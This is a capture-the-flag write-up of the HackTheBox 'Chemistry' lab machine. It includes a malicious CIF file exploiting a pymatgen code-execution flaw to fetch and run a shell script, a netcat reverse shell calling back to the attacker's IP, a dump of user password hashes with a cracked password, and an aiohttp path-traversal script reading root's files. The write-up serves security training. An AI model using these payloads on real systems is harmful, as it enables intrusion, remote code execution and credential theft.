Chemistry Writeup
Writeup of "Chemistry" machine from Hackthebox
Enumeration
Let’s start with an nmap scan: nmap -Pn -A -p- 10.10.11.38 -v
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
| 256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_ 256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.9.5
| Date: Sat, 08 Mar 2025 15:58:28 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 719
| Vary: Cookie
| Connection: close
Results reveal two open ports:
- 22/tcp - OpenSSH 8.2p1 (Ubuntu)
- 5000/tcp - Werkzeug/3.0.3 (Python 3.9.5)
Initial Foothold
Upon visiting the web interface at http://10.10.11.38:5000
, I registered an account and discovered an option to upload .CIF
files:
Searching online for .CIF
exploits I find this: https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f
Using this information, I crafted a malicious .CIF
file (vuln.cif
) that executes a reverse shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("curl http://10.10.14.245/shell.sh | sh");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
The reverse shell script:
1
2
3
#!/usr/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.245 1234 >/tmp/f
Hosted shell.sh
using Python’s HTTP server:
python3 -m http.server 80
After uploading vuln.cif
and clicking “View” I received a reverse shell connection:
To stabilize the shell, I ran: python3 -c 'import pty; pty.spawn("/bin/bash")'
During enumeration, I discovered an SQLite database (database.db
) in /home/app/instance
. Extracting its contents reveals user hashes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(root㉿riminux)-[/tmp]
└─# sqlite3 database.db
SQLite version 3.44.0 2023-11-01 11:23:50
Enter ".help" for usage hints.
sqlite> .tables
structure user
sqlite> select * from user
...> ;
1|admin|2861debaf8d99436a10ed6f75a252abf
2|app|197865e46b878d9e74a0346b6d59886a
3|rosa|63ed86ee9f624c7b14f1d4f43dc251a5
4|robert|02fcf7cfc10adc37959fb21f06c6b467
5|jobert|3dec299e06f7ed187bac06bd3b670ab2
6|carlos|9ad48828b0955513f7cf0f7f6510c8f8
7|peter|6845c17d298d95aa942127bdad2ceb9b
8|victoria|c3601ad2286a4293868ec2a4bc606ba3
9|tania|a4aa55e816205dc0389591c9f82f43bb
10|eusebio|6cad48078d0241cca9a7b322ecd073b3
11|gelacia|4af70c80b68267012ecdac9a7e916d18
12|fabian|4e5d71f53fdd2eabdbabb233113b5dc0
13|axel|9347f9724ca083b17e39555c36fd9007
14|kristel|6896ba7b11a62cacffbdaded457c6d92
15|d|e8cd7da078a86726031ad64f35f5a6c0
16|username|5f4dcc3b5aa765d61d8327deb882cf99
17|had|a1e6cd7f9480f01643245e0b648d9fbe
18|' OR '1'='1|1e54e11980633c7d1fb8a6be99e3e294
19|s4p1emsa|3fc0a7acf087f549ac2b266baf94b8b1
20|123|202cb962ac59075b964b07152d234b70
21|test|098f6bcd4621d373cade4e832627b4f6
22|ich@hier.da|d00d654168ddc74e36cddfc07e5e8f79
23|a|0cc175b9c0f1b6a831c399e269772661
24|password|5f4dcc3b5aa765d61d8327deb882cf99
25|b|92eb5ffee6ae2fec3ad71c777531578f
26|c|4a8a08f09d37b73795649038408b5f33
27|e|e1671797c52e15f763380b45e841ec32
28|za|959848ca10cc8a60da818ac11523dc63
The output contained multiple user hashes, but rosa
stood out as it was the only other system user:
I cracked rosa
’s password using CrackStation, revealing the credentials:
rosa:unicorniosrosados
Using these, I logged in via SSH as rosa
and retrieved the user flag.
Privilege Escalation
Using ss -ltn
, I discovered a web application running on port 8080
. Additionally, the /opt
directory contained files owned by root
, suggesting an internal service:
I curl it:
curl 127.0.0.1:8080
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Site Monitoring</title>
<link rel="stylesheet" href="/assets/css/all.min.css">
<script src="/assets/js/jquery-3.6.0.min.js"></script>
<script src="/assets/js/chart.js"></script>
<link rel="stylesheet" href="/assets/css/style.css">
<style>
h2 {
color: black;
font-style: italic;
}
</style>
</head>
<body>
<nav class="navbar">
<div class="container">
<h1 class="logo"><i class="fas fa-chart-line"></i> Site Monitoring</h1>
<ul class="nav-links">
<li><a href="#" id="home"><i class="fas fa-home"></i> Home</a></li>
<li><a href="#" id="start-service"><i class="fas fa-play"></i> Start Service</a></li>
<li><a href="#" id="stop-service"><i class="fas fa-stop"></i> Stop Service</a></li>
<li><a href="#" id="list-services"><i class="fas fa-list"></i> List Services</a></li>
<li><a href="#" id="check-attacks"><i class="fas fa-exclamation-triangle"></i> Check Attacks</a></li>
</ul>
</div>
</nav>
<div class="container">
<div id="earnings">
<h2>2023 Earnings</h2>
<canvas id="earningsChart"></canvas>
</div>
<div id="views">
<h2>Views per Month</h2>
<canvas id="viewsChart"></canvas>
</div>
<div id="ad-clicks">
<h2>Ad Clicks per Visit</h2>
<canvas id="adClicksChart"></canvas>
</div>
<div id="service-list" style="display:none;">
<h2>Service List</h2>
<ul id="service-list-content">
<!-- Will be filled dynamically with JavaScript -->
</ul>
</div>
<div id="attack-logs" style="display:none;">
<h2>Possible Attacks</h2>
<h3><p style="color:red;">Functionality currently under development</p></h3>
<ul id="attack-logs-content">
</ul>
</div>
<div class="loader" id="loader" style="display:none;">Loading...</div>
</div>
<script src="/assets/js/script.js"></script>
<script>
document.addEventListener('DOMContentLoaded', function () {
const earnings = {"April": 3000, "August": 5000, "February": 2000, "January": 1500, "July": 4500, "June": 4000, "March": 2500, "May": 3500, "September": 5500};
const views = {"April": 40000, "August": 60000, "February": 30000, "January": 25000, "July": 55000, "June": 50000, "March": 35000, "May": 45000, "September": 65000};
const adClicks = {"Ad1": 650, "Ad2": 200, "Ad3": 1000};
// Earnings Chart Configuration
const earningsCtx = document.getElementById('earningsChart').getContext('2d');
const earningsChart = new Chart(earningsCtx, {
type: 'bar',
data: {
labels: Object.keys(earnings),
datasets: [{
label: 'Earnings ($)',
data: Object.values(earnings),
backgroundColor: 'rgba(75, 192, 192, 0.2)',
borderColor: 'rgba(75, 192, 192, 1)',
borderWidth: 1
}]
},
options: {
responsive: true,
scales: {
y: {
beginAtZero: true
}
}
}
});
// Views Chart Configuration
const viewsCtx = document.getElementById('viewsChart').getContext('2d');
const viewsChart = new Chart(viewsCtx, {
type: 'line',
data: {
labels: Object.keys(views),
datasets: [{
label: 'Views',
data: Object.values(views),
backgroundColor: 'rgba(153, 102, 255, 0.2)',
borderColor: 'rgba(153, 102, 255, 1)',
borderWidth: 1
}]
},
options: {
responsive: true,
scales: {
y: {
beginAtZero: true
}
}
}
});
// Ad Clicks Chart Configuration
const adClicksCtx = document.getElementById('adClicksChart').getContext('2d');
const adClicksChart = new Chart(adClicksCtx, {
type: 'pie',
data: {
labels: Object.keys(adClicks),
datasets: [{
label: 'Clicks',
data: Object.values(adClicks),
backgroundColor: [
'rgba(255, 99, 132, 0.2)',
'rgba(54, 162, 235, 0.2)',
'rgba(255, 206, 86, 0.2)',
'rgba(75, 192, 192, 0.2)',
'rgba(153, 102, 255, 0.2)',
'rgba(255, 159, 64, 0.2)'
],
borderColor: [
'rgba(255, 99, 132, 1)',
'rgba(54, 162, 235, 1)',
'rgba(255, 206, 86, 1)',
'rgba(75, 192, 192, 1)',
'rgba(153, 102, 255, 1)',
'rgba(255, 159, 64, 1)'
],
borderWidth: 1
}]
},
options: {
responsive: true
}
});
});
</script>
</body>
Since the application was locally hosted, I set up SSH port forwarding to access it from my machine:
ssh -L 8085:localhost:8080 rosa@10.10.11.38
Now, I could interact with the app at http://localhost:8085
.
Running dirsearch
uncovers additional directories:
dirsearch -u http://localhost:8085/
Using whatweb
, we fingerprint the application:
1
2
3
┌──(root㉿riminux)-[/tmp]
└─# whatweb -a 3 http://localhost:8085
http://localhost:8085 [200 OK] HTML5, HTTPServer[Python/3.9 aiohttp/3.9.1], IP[::1], JQuery[3.6.0], Script, Title[Site Monitoring]
This revealed that the application was running Python/3.9 with aiohttp/3.9.1.
Upon searching for vulnerabilities, I found an exploit for aiohttp
:
https://github.com/z3rObyte/CVE-2024-23334-PoC
I modified the exploit to attempt path traversal and access root.txt
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/bash
url="http://localhost:8085"
string="../"
payload="/assets/"
file="root/root.txt" # without the first /
for ((i=0; i<15; i++)); do
payload+="$string"
echo "[+] Testing with $payload$file"
status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
echo -e "\tStatus code --> $status_code"
if [[ $status_code -eq 200 ]]; then
curl -s --path-as-is "$url$payload$file"
break
fi
done